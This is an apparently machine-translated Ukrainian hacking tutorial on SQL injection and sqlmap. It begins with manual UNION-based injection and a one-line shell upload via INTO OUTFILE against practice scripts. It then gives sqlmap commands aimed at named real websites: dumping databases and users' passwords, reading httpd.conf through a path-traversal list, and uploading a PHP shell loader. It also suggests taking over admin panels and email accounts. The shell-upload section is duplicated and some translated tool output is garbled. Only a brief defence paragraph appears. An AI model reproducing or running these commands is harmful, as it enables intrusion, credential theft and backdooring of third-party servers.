Заливаємо шелл із SQLmap. Заливаємо шелл із SQLmap Отримання інформації з баз даних

Заливаємо шелл із SQLmap. Заливаємо шелл із SQLmap Отримання інформації з баз даних

28.07.2023

Вітаю тебе, читачу. Останнім часом, я захоплююся Web-безпекою, та й певною мірою робота пов'язана з цим. Т.к. я дедалі частіше став помічати теми на різних форумах, з проханням показати, як це все працює, вирішив написати статтю. Стаття буде розрахована на тих, хто не стикався з подібним, але хотів би навчитися. У мережі відносно багато статей на цю тематику, але для початківців вони складні. Я постараюся описати все зрозумілою мовою та докладними прикладами.

Передмова

Для того, щоб зрозуміти цю статтю, вам не надто знадобиться знання SQL-мови, а хоча б наявність хорошого терпіння і трохи мізків - для запам'ятовування.

Вважаю, що одного прочитання статті буде мало, т.к. нам потрібні живі приклади – як відомо практика, у процесі запам'ятовування, не буває зайвою. Тому ми писатимемо вразливі скрипти та тренуватимемося на них.

Що таке SQL ін'єкція?
Говорячи простою мовою - це атака на базу даних, яка дозволить виконати деяку дію, яка не планувалася творцем скрипту. Приклад із життя:

Батько написав у записці мамі, щоб вона дала Васі 100 рублів і поклав її на стіл. Переробивши це на жартівливий SQL мову, ми отримаємо:
ДІСТАНЬ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі

Так як батько погано написав записку (Корявий почерк), і залишив її на столі, її побачив брат Васі - Петя. Петя, будучи хакером, дописав там «АБО Пете» і вийшов такий запит:
ДІСТАНЬ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі АБО Петі

Мама прочитавши записку, вирішила, що Васі вона давала гроші вчора і дала 100 рублів Петі. Ось простий приклад SQL ін'єкції з життя:) Не фільтруючи дані (Мама ледве розібрала почерк), Петя добився профіту.

Підготовка
Для практики Вам знадобиться архів з вихідними скриптами цієї статті. Завантажте його та розпакуйте на сервері. Також імпортуйте базу даних та встановіть дані у файлі cfg.php

Пошук SQL injection

Як ви вже зрозуміли, ін'єкція з'являється з вхідних даних, які не фільтруються. Найпоширеніша помилка - це фільтрація передається ID. Ну грубо кажучи підставляти у всі поля лапки. Будь це GET/POST запит та навіть Cookie!

Числовий вхідний параметр
Для практики нам знадобиться скрипт index1.php. Як я вже говорив вище, підставляємо лапки в ID новини.

Т.к. у нас запит не має фільтрації:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт зрозуміє це як

SELECT * FROM news WHERE id=1"

І дасть нам помилку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given в C:\WebServ\domains\sqlinj\index1.php on line 16

Якщо помилку не видало - можуть бути такі причини:

1.SQL ін'єкції тут немає - Фільтруються лапки, або просто стоїть перетворення на (int)
2.Відключено виведення помилок.

Якщо все ж таки помилку вивело - Ура! Ми знайшли перший вид ін'єкції SQL - Числовий вхідний параметр.

Строковий вхідний параметр

Запити надсилатимемо на index2.php. У даному файлі запит має вигляд:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут ми робимо вибірку новини на ім'я користувача, і знову ж таки - не фільтруємо.
Знову посилаємо запит із лапкою:

Видало помилку. Ок! Значить уразливість є. Для початку нам вистачить – приступимо до практики.

Приступаємо до дій

Трохи теорії

Напевно, Вам вже не терпиться витягти щось із цього, крім помилок. Для початку дізнайтеся, що знак " -- вважається коментарем у мові SQL.

УВАГА! Перед та після нього обов'язково повинні стояти прогалини. В URL вони передаються як %20

Все, що йде після коментаря - буде відкинуто.
SELECT * FROM news WHERE user="AlexanderPHP" - habrahabra

Виконається вдало. Можете спробувати це на скрипті index2.php, надіславши такий запит:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Вивчіть параметр UNION. У мові SQL ключове слово UNIONзастосовується об'єднання результатів двох SQL-запитів в єдину таблицю. Тобто, щоб витягнути щось нам потрібне з іншої таблиці.

Отримуємо з цього користь

Якщо параметр "Числовий", то в запиті нам не потрібно надсилати лапку і природно ставити коментар наприкінці. Повернемося до скрипту index1.php.

Звернімося до скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запит до БД у нас виходить таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
І він дав нам помилку, т.к. Для роботи з поєднанням запитів, нам потрібна однакова кількість полів.

Т.к. ми не можемо вплинути на їх кількість у першому запиті, то нам потрібно підібрати їх кількість у другому, щоб воно дорівнювало першому.

Підбираємо кількість полів

Підбір полів робиться дуже просто, достатньо надсилати такі запити:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Помилка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Знову помилка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Помилки нема! Значить кількість стовпців дорівнює 5.

GROUP BY
Найчастіше буває, що полів може бути 20 або 40 або навіть 60. Щоб нам щоразу не перебирати їх, використовуємо GROUP BY

Якщо запит
sqlinj/index1.php?id=1 GROUP BY 2
не видав помилок, значить кількість полів більше 2. Пробуємо:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, бачимо помилку, означає кількість полів менше 8.

Якщо при GROUP BY 4 немає помилки, а при GROUP BY 6 - помилка, Значить кількість полів дорівнює 5

Визначення стовпців, що виводяться
Для того, щоб з першого запиту нам нічого не виводилося, достатньо підставити неіснуючий ID, наприклад:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Цією дією ми визначили, які стовпці виводяться на сторінку. Тепер, щоб замінити ці цифри на потрібну інформацію, потрібно продовжити запит.

Виведення даних

Допустимо ми знаємо, що ще існує таблиця usersв якій існують поля id, nameі pass.
Нам потрібно отримати інформацію про користувача з ID=1

Отже побудуємо такий запит:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт також продовжує виводити

Для цього ми підставимо назву полів за місце цифр 1 і 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Отримали те - що потрібно!

Для «рядкового вхідного параметра», як у скрипті index2.phpпотрібно додавати лапку на початку та знак коментаря в кінці. Приклад:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Читання/Запис файлів

Для читання та запису файлів, у користувача БД повинні мати право FILE_PRIV.
Записування файлів
Насправді, все дуже просто. Для запису файлу ми будемо використовувати функцію OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Добре, файл у нас записався. Таким чином, ми можемо залити міні-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Читання файлів
Читання файлів робиться набагато легше, ніж запис. Достатньо просто використовувати функцію LOAD_FILE, за місце того поля, яке ми вибираємо:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким чином, ми прочитали попередній записаний файл.

Способи захисту

Захиститись ще простіше, ніж використовувати вразливість. Просто фільтруйте дані. Якщо Ви передаєте числа, використовуйте
$id = (int) $_GET["id"];
Як підказав користувач malroc. Захищатись використанням PDO або prepared statements.

Замість завершення

На цьому хочу закінчити свою першу частину про "SQL injection для початківців". У другій ми розглянемо важчі приклади ін'єкцій. Спробуйте самі писати вразливі скрипти і виконувати запити.
І запам'ятайте, не довіряйте жодному користувачеві вашого сайту.

Спойлер: .DZEN

У нас є SQL Injection на сайт, який виглядає так,

Насамперед нам бажано перевірити, чи маємо ми привілеї на запис файлів на атакованому ресурсі, для цього завантажуємо термінал і даємо наступну команду:

http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Тиснемо Enter і починається аналіз нашої SQL Injection, виглядає звіт наступним чином:

Як ви бачите у звіті написано версію Apache, версію MySQL, і версію ОС, встановлену на сервері, все це нам знадобиться надалі, але найголовніше ви бачите, що ми маємо права на запис файлів, це відображається в рядку Current User is DBA: True

Наступним кроком для нас є отримання шляхів для запису нашого шеллу. Шлях до нашого сайту на сервері ми можемо отримати завантаживши файл httpd.conf. Інформацію про місцезнаходження файлу httpd.conf ми отримуємо за допомогою Google, можна пошукати за версією ОС, яка встановлена ​​або за списком найімовірніших шляхів. Загалом не заглиблюватимуся в серфінг по пошукових системах, просто коли з'ясували найбільш ймовірне місце розташування шляху до файлу, то саме час завантажити цей файл до себе на диск, для цього вводимо наступну команду і запитуємо читання файлу на сервері:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Відразу відзначимо, що не завжди вдається знайти цей конфіг-файл з першого разу, тому ви можете використовувати найбільш ймовірні шляхи, якими цей файл може знаходитися:

СПИСОК ВІРОЯТНИХ ШЛЯХІВ ДО ФАЙЛУ КОНФІГУ:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Ми отримуємо звіт від sqlmap у такому вигляді:

Як ви бачите, sqlmap нам сказав, що файл має такий самий розмір, як і файл на сервері, отже ми маємо право на читання цього файлу. Якби прав на читання цього файлу не вистачало, то вилізла б помилка, що файл збережений на нашій машині має інший розмір на відміну від файлу на сервері або файлу на сервері по вказаному нами шляху немає і ніколи не було. Sqlmap зберіг наш файл у файлах звіту, а щоб прочитати його потрібно запустити віконний менеджер. Для запуску віконного менеджера ми відкриваємо ще одне вікно терміналу та вводимо команду:

Далі у менеджері, що відкрився, йдемо по шляху, куди sqlmap склав файл тобто:
/root/.sqlmap/output/sacoor.com
Далі, навівши курсор на файлик, натискаємо кнопку F3 на клавіатурі і читаємо конфіг-файл Apache:

З нашого конфіг-файлу ми бачимо, що наш сайт лежить на сервері наступним шляхом:
/home/sbshop/site/

Тепер, коли ми маємо небагато інформації, можна спробувати залити шелл, для цього вводимо наступну команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Після введення команди sqlmap запитає який тип заливника хочемо використовувати, т.к. у нашому випадку сайт на PHP, то і заливати ми будемо PHP-loader, вибираємо пункт 4 і тиснемо Enter. Далі, sqlmap попросить вибрати нас куди ми заливатимемо наш завантажувач, а т.к. ми вже знаємо шлях до нашого сайту на сервері, то вибираємо пункт 2, натискаємо Enter і вказуємо шлях до сайту:
/home/sbshop/site/

А після цього тиснемо Enter і бачимо наступний звіт:

В даному випадку sqlmap нам каже, що в цю папку ми не маємо прав на запис. Чи не біда, цю проблему досить легко вирішити. Даємо команду на запуск uniscan і чекаємо файли та папки на можливість запису, ось команда.

Що таке sqlmap, для чого вона потрібна

Програма дозволяє перевіряти сайти на наявність у них вразливості SQL-ін'єкції, уразливості XSS, а також експлуатувати SQL-ін'єкцію. Підтримуються різноманітні типи SQL-ін'єкцій та різноманітні бази даних.

Що можна робити за допомогою sqlmap

За допомогою sqlmap можна:

  • перевіряти, чи є у сайтах вразливість

Якщо сайт вразливий до SQL-ін'єкції, можливо:

  • отримувати інформацію з бази даних, у тому числі дамп (всю) базу даних
  • змінювати та видаляти інформацію з бази даних
  • заливати шелл (бекдор) на веб-сервер

Один із сценаріїв використання sqlmap:

  • Отримання імені користувача та пароля з бази даних
  • Пошук панелей адміністрування сайту (адмінок)
  • Вхід до адмінки з отриманим логіном та паролем

За наявності вразливості атака може розвиватися за різними напрямками:

  • Модифікація даних
  • Заливка бекдору
  • Використання JavaScript коду для отримання даних користувачів
  • Впровадження коду для підчеплення на BeEF

Як ми можемо переконатися, SQL-ін'єкція – дуже небезпечна вразливість, яка дає зловмиснику великі можливості.

Перевірка сайтів за допомогою sqlmap

Якщо сайт отримує дані від користувача методом GET (коли і ім'я змінної та дані, що передаються, видно в адресному рядку браузера), то потрібно вибрати адресу сторінки, в якій присутня ця змінна. Вона йде після знака питання ( ? ), наприклад:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

У першій адресі ім'я змінної - id, А значення, що передається - 8 . У другій адресі ім'я змінної також id, а значення, що передається 22 . У третьому прикладі ім'я змінної таке саме, але передається значення p_36. Одинакове ім'я змінної - це випадковий збіг для різних сайтів, воно може бути будь-яким, можуть бути будь-якими передані дані, може бути кілька змінних зі значеннями, розділені символом & .

Якщо ми хочемо перевірити, чи вразлива змінна id до SQL-ін'єкції, нам потрібно вводити адресу повністю - http://www.dwib.org/faq2.php?id=8 (а не http://www.dwib.org /faq2.php або http://www.dwib.org).

Команда для перевірки змінної, що передається методом GET, дуже проста:

Sqlmap -u адреса_сайту

Для цих сайтів команди будуть:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

В процесі перевірки sqlmap може ставити різні питання і на них потрібно відповідати y(тобто так) або n(Тобто Ні). Літера y і n можуть бути великими або дрібними. Велика буква означає вибір за замовчуванням, якщо ви з ним згодні, то просто натисніть клавішу Enter.

Приклади ситуацій та питань:

Хевристики визнали, що target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS?

Евристика визначила, що ціль захищена якимось WAF/IPS/IDS. Ви хочете, щоб sqlmap спробувала визначити найменування WAF/IPS/IDS?

Мій улюблений запит:

Heuristic (basic) тест показує, що GET параметр "id" може бути injectable (можливий DBMS: "MySQL") testing for SQL injection на GET параметр "id" it looks як the back-end DBMS є "MySQL". Як ви хочете, щоб вибрати test payloads specific для інших DBMSes?

Суть у тому, що евристика визначила, що параметр може бути вразливий і вже визначено віддалену СУБД, нас запитують, чи ми хочемо продовжити перевірку. А на другому скріншоті сайті ще й уразливий до XSS.

Якщо ви хочете автоматизувати процес, щоб sqlmap не питала вас щоразу, а використовувала вибір за умовчанням (там завжди найкращі варіанти), то можна запустити команду з опцією --batch:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Можливі проблеми під час сканування sqlmap

Можуть з'явитися такі помилки:

Connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. У випадку, що це є, ви можете спробувати, щоб перейти з перемикачем "--random-agent" керується і/або proxy перемикання ("--ignore-proxy", "--proxy",...)

Це означає, що веб-сайт не хоче «розмовляти» з sqlmap. Як варіант нам пропонують використовувати --random-agent. Якщо в браузері ви можете спостерігати сайт, а sqlmap пише про неможливість підключитися, значить сайт ігнорує запити, орієнтуючись на агент користувача. Опція --random-agent змінює стандартне значення sqlmap на будь-які:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Ще однією причиною такої помилки може бути блокування вашого IP веб-сайтом – тоді потрібно використовувати проксі. Якщо ви вже використовуєте проксі і з'являється ця помилка, це може означати, що у проксі проблеми зі зв'язком і варто спробувати без нього.

Результати сканування sqlmap

Знайдені SQL-ін'єкції відображаються так:

Тобто. виділяються жирно-салатовим кольором, пишеться ім'я вразливого параметра, вид SQL-уразливості та є слово injectable.

Отримання списку баз даних із sqlmap

Для отримання списку баз даних використовується опція --dbs. Приклади:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Отримання інформації з баз даних

Наприклад, для сайту wellerpools.com виявлено дві бази даних:

[*] information_schema [*] main_wellerpools

Я хочу дізнатися про список таблиць у базі даних main_wellerpools. Для цього використовується опція --tables. Крім неї, нам потрібно вказати цікаву для нас таблицю після опції -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Список таблиць:

З якоїсь причини мені хочеться дізнатися список колонок з таблиці users. Для цього використовується опція --columns. Крім неї, нам потрібно вказати базу даних, що цікавить нас ( -D main_wellerpools) і після ключа -Tтаблицю, на яку ми хочемо побачити список колонок:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Для виведення вмісту використовується опція --dump. Її можна вказати разом із базою даних, і тоді буде зроблено дамп усієї бази даних, а можна обмежити дані однією таблицею або навіть однією колонкою. Наступною командою я хочу побачити вміст усієї таблиці users:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Погляньте на паролі - я при побіжному огляді подумав, що це хеші. Адміни справді намагалися захиститися, але це їм не допомогло.

До речі, оскільки вразливий параметр, який приймає дані, надіслані методом GET, можна сформувати запит прямо в рядку браузера таким чином, що логін і пароль користувача будуть виведені прямо на самому сайті:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+from+users--

Тобто. у нас ім'я користувача, пароль та пошта користувачів (а швидше за все навіть адміністраторів) сайту. Якщо вдасться знайти адміністративну панель сайту, можна отримати керування над сайтом або веб-сервером. Враховуючи любов користувачів до однакових паролів та знаючи їх поштові скриньки – можна спробувати зламати пошту.

Загалом SQL-ін'єкція - це дуже небезпечна вразливість.

Що ж, до сабжу:

Спойлер: Заливаємо шелл

У нас є SQL Injection на сайт, який виглядає так,

Ви повинні бути зареєстровані, щоб побачити посилання.


Насамперед нам бажано перевірити, чи маємо ми привілеї на запис файлів на атакованому ресурсі, для цього завантажуємо термінал і даємо наступну команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Тиснемо Enterі починається аналіз нашої SQL Injection, виглядає звіт так:

Як ви бачите у звіті написано версію Apache, версію MySQL, і версію ОС, встановлену на сервері, все це нам знадобиться надалі, але найголовніше ви бачите, що ми маємо права на запис файлів, це відображається в рядку Current User is DBA: True

Наступним кроком для нас є отримання шляхів для запису нашого шеллу. Шлях до нашого сайту на сервері ми можемо отримати, завантаживши файл httpd.conf. Інформацію про місцезнаходження файлу httpd.conf ми отримуємо за допомогою Google, можна пошукати за версією ОС, яка встановлена ​​або за списком найімовірніших шляхів. Загалом не заглиблюватимуся в серфінг по пошукових системах, просто коли з'ясували найбільш ймовірне місце розташування шляху до файлу, то саме час завантажити цей файл до себе на диск, для цього вводимо наступну команду і запитуємо читання файлу на сервері:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Відразу відзначимо, що не завжди вдається знайти цей конфіг-файл з першого разу, тому ви можете використовувати найбільш ймовірні шляхи, якими цей файл може знаходитися:

СПИСОК ВІРОЯТНИХ ШЛЯХІВ ДО ФАЙЛУ КОНФІГУ:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Ми отримуємо звіт від sqlmap у такому вигляді:


Як ви бачите, sqlmap нам сказав, що файл має такий самий розмір як і файл на сервері, тому ми маємо право на читання цього файлу. Якби прав на читання цього файлу не вистачало, то вилізла б помилка, що файл збережений на нашій машині має інший розмір на відміну від файлу на сервері або файлу на сервері по вказаному нами шляху немає і ніколи не було. Sqlmap зберіг наш файл у файлах звіту, а щоб прочитати його потрібно запустити віконний менеджер. Для запуску віконного менеджера ми відкриваємо ще одне вікно терміналу та вводимо команду:

Далі у менеджері, що відкрився, йдемо по шляху, куди sqlmap склав файл тобто:
/root/.sqlmap/output/sacoor.com
Далі, навівши курсор на файлик, натискаємо кнопку F3на клавіатурі та читаємо конфіг-файл Apache:


З нашого конфіг-файлу ми бачимо, що наш сайт лежить на сервері наступним шляхом:
/home/sbshop/site/

Тепер, коли ми маємо небагато інформації, можна спробувати залити шелл, для цього вводимо наступну команду:

Після введення команди sqlmap запитає який тип заливника хочемо використовувати, т.к. у нашому випадку сайт на PHP, то й заливати ми будемо PHP-loader, вибираємо пункт4і тиснемо Enter. Далі, sqlmap попросить вибрати нас куди ми заливатимемо наш завантажувач, а т.к. ми вже знаємо шлях до нашого сайту на сервері, то вибираємо пункт 2, натиснемо Enterта вказуємо шлях до сайту:
/home/sbshop/site/

А після цього тиснемо Enterі бачимо наступний звіт:


В даному випадку sqlmap нам каже, що в цю папку ми не маємо прав на запис. Чи не біда, цю проблему досить легко вирішити. Даємо команду на запуск uniscan і чекаємо файли та папки на можливість запису, ось команда:

Uniscan -u http://www.sacoor.com/ -qwe

Зараз сканер перевірить усі доступні для запису директорії:


Сканер знайшов три директорії з можливістю запису файлів, тому намагаємося залити наш лоадер Шелла ще раз, але цього разу по-іншому шляху. Знову виконуємо команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

і, обравши пункт 4(заливка PHP-скрипта), вказуємо шлях:
/home/sbshop/site/admin

Ми бачимо наступне.



© 2023 globusks.ru - Ремонт та обслуговування автомобілів для новачків